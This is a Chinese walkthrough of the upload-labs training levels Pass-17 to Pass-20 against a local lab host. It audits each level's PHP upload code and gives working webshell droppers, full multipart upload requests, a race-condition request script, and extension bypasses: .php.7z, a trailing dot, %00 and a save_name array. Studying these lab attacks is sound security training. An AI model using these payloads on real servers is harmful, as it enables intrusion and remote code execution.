利用BurpSuite同时爆破,一个爆破上传,一个爆破访问
我这边选择无payload,无需重复,资源池是默认,并发请求10
木马选用
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>
上传抓包,发送Intruder
上传图片,访问图片,抓包发送Intruder
如果BurpSuite看不到访问图片,修改上方的Filter Setting 设置
上传报文
POST http://192.168.2.221/Pass-17/index.php HTTP/1.1
Host: 192.168.2.221
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------8197107828310108462575363410
Content-Length: 432
Origin: http://192.168.2.221
Connection: keep-alive
Referer: http://192.168.2.221/Pass-17/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------8197107828310108462575363410
Content-Disposition: form-data; name="upload_file"; filename="condition.php"
Content-Type: application/octet-stream
<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST["shell"])?>');?>
-----------------------------8197107828310108462575363410
Content-Disposition: form-data; name="submit"
ä¸ä¼
-----------------------------8197107828310108462575363410--
访问上传文件报文
GET http://192.168.2.221/upload/condition.php HTTP/1.1
Host: 192.168.2.221
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://192.168.2.221/Pass-17/index.php
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 18 Oct 2024 02:56:43 GMT
If-None-Match: W/"40000000cecfe-6f4-624b773fd1920"
Priority: u=0, i
访问上传文件也可以自己手动在浏览器刷新,不强求用BurpSuite爆破,多刷新几次总能访问到
GetShell
蚁剑连接 http://192.168.2.221/upload/shell.php
知识点
条件竞争上传木马
Pass-18
BUG 修复
修改Pass-18/myupload.php
里的setDir内容如下
function setDir( $dir ){
if( !is_writable( $dir ) ){
return "DIRECTORY_FAILURE";
} else {
$this->cls_upload_dir = $dir."/"; // 多加了个/
return 1;
}
}
源码审计
关键函数
require_once() // require_once 表达式和 require 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
is_uploaded_file() // 如果 filename 所给出的文件是通过 HTTP POST 上传的则返回 true。这可以用来确保恶意的用户无法欺骗脚本去访问本不能访问的文件,例如 /etc/passwd。
move_uploaded_file() // 把上传的文件移动到新位置。如果成功该函数返回 TRUE,如果失败则返回 FALSE。(该函数仅用于通过 HTTP POST 上传的文件。、如果目标文件已经存在,将会被覆盖。)
// 补充
require() // require 和 include 几乎完全一样,除了处理失败的方式不同之外。require 在出错时产生 E_COMPILE_ERROR 级别的错误。换句话说将导致脚本中止而 include 只产生警告(E_WARNING),脚本会继续运行。
include() // include 表达式包含并运行指定文件。
include_once() // include_once 表达在脚本执行期间包含并运行指定文件。此行为和 include 表达类似, 唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true。 顾名思义,require_once,文件仅仅包含(require)一次。
注意以下代码
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
如下代码规定了白名单后缀, 这里要特别注意7z这个后缀, 这后缀浏览器是无法解析的, 当浏览器遇到无法解析的后缀时, 就会往前解析, 要是我们上传文件名为webshell.php.7z
, 那么浏览器就会解析.php
后缀而不会解析.7z
后缀
注意在index.php中,执行了$status_code = $u->upload(UPLOAD_PATH);
upload()函数代码如下
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
分析结果
在执行move函数之前,对文件的基本类型做了很完整的校验,无法上传php后缀;
上传1.php.7z
,绕过move函数之前的检查,上传成功,且浏览器也能识别PHP,此时为时刻a
在move函数之后,对文件有重新命名,此时文件就没有php后缀了,此时为时刻b
只要在时刻a - 时刻b这一段时间访问还未被重命名的木马文件即可利用上传木马
攻击
上传1.php.7z
内容如下
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>
使用Pass-17方式Burpsuite爆破上传
编写python脚本一直访问http://192.168.2.221/upload/condition.php.7z
,脚本如下
import requests
import argparse
import signal
import sys
# 全局变量,用于控制是否继续访问
keep_running = True
# 定义一个函数用于访问指定的 URL
def visit_url(url, count):
global keep_running
if count is None:
while keep_running:
try:
response = requests.get(url)
if response.status_code == 200:
print("成功访问")
elif response.status_code == 404:
print("文件不存在")
else:
print(f"访问返回状态码 {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"请求错误: {e}")
else:
for _ in range(count):
if not keep_running:
break
try:
response = requests.get(url)
if response.status_code == 200:
print("成功访问")
elif response.status_code == 404:
print("文件不存在")
else:
print(f"访问返回状态码 {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"请求错误: {e}")
# 信号处理函数,用于捕获 Ctrl+C
def signal_handler(sig, frame):
global keep_running
print("\n检测到 Ctrl+C,是否终止程序?(y/n): ", end='', flush=True)
choice = input().strip().lower()
if choice == 'y':
keep_running = False
print("正在终止程序...")
sys.exit(0)
else:
print("继续运行...")
# 主函数
def main():
global keep_running
# 设置命令行参数解析
parser = argparse.ArgumentParser(description='单线程访问指定的URL')
parser.add_argument('-u', '--url', required=True, help='要访问的URL地址')
parser.add_argument('-n', '--number', type=int, help='执行的次数,未指定则无限次访问')
args = parser.parse_args()
# 处理 Ctrl+C 信号
signal.signal(signal.SIGINT, signal_handler)
# 执行访问
visit_url(args.url, args.number)
if __name__ == '__main__':
main()
Burpsuite流程与Pass-17类似,脚本python <name.py> -u <url>
执行效果
访问http://192.168.2.221/upload/shell.php?shell=system("dir");
有回显,或蚁剑连接测试
知识点
条件竞争+浏览器后缀解析跳过,向前解析(不识别7z)
也可以上传本文Pass-18的图片马,利用文件包含漏洞利用,但是本关未提示文件包含,首选1.php.7z绕过
Pass-19
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
函数分析
pathinfo() // 返回一个关联数组包含有 path 的信息。返回关联数组还是字符串取决于 flags。https://www.php.net/manual/zh/function.pathinfo.php
获取后缀进行分析,若是非法后缀则拒绝上传,测试一下pathinfo函数返回的后缀啥情况
<?php
$t1 = '1.php.7z';
$t2 = '2.php. ';
echo $t1, '是 ', pathinfo($t1,PATHINFO_EXTENSION), "\n";
echo $t2, '是 ', pathinfo($t2,PATHINFO_EXTENSION), '占位符', "\n";
?>
测试结果:t1的后缀是7z,t2的后缀是空格
攻击
方法一:在Windows系统下,修改上传的文件名为1.php.
即可绕过上传,与Pass-6类似
方法二:大小写绕过
方法三:%00截断绕过
知识点
可控上传路径时,上传的绕过思路
Pass-20
源码审计
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
函数
is_array() // 检测变量是否是数组
explode() //使用一个字符串分割另一个字符串
reset() // 将数组的内部指针指向第一个单元
代码分析:
- 检查Content-Type字段
- 确认保存的文件名是上传文件还是save_name参数
- 当
$file
不是数组,将$file
转换为小写并以.
分隔得到字符串数组 - 获取后缀,检测是否合法,合法则将字符串数组的索引0和索引末尾的值拼接得到新文件名
绕过思路:通过构造save_name参数为数组
<?php
$save_name[0]="1.php";
$save_name[2]="png";
print_r(count($save_name)); //输出数组的个数:2
print_r($save_name[count($save_name)-1]); //输出$save_name[1]的值:空
?>
拼接的文件名就是1.php.
了
攻击
POST数据如下
-----------------------------27245070652084939691583848690
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/png
<?php @eval($_REQUEST["shell"]);?>
-----------------------------27245070652084939691583848690
Content-Disposition: form-data; name="save_name[0]"
1.php
-----------------------------27245070652084939691583848690
Content-Disposition: form-data; name="save_name[2]"
png
-----------------------------27245070652084939691583848690
Content-Disposition: form-data; name="submit"
上传
-----------------------------27245070652084939691583848690--
知识点
数组绕过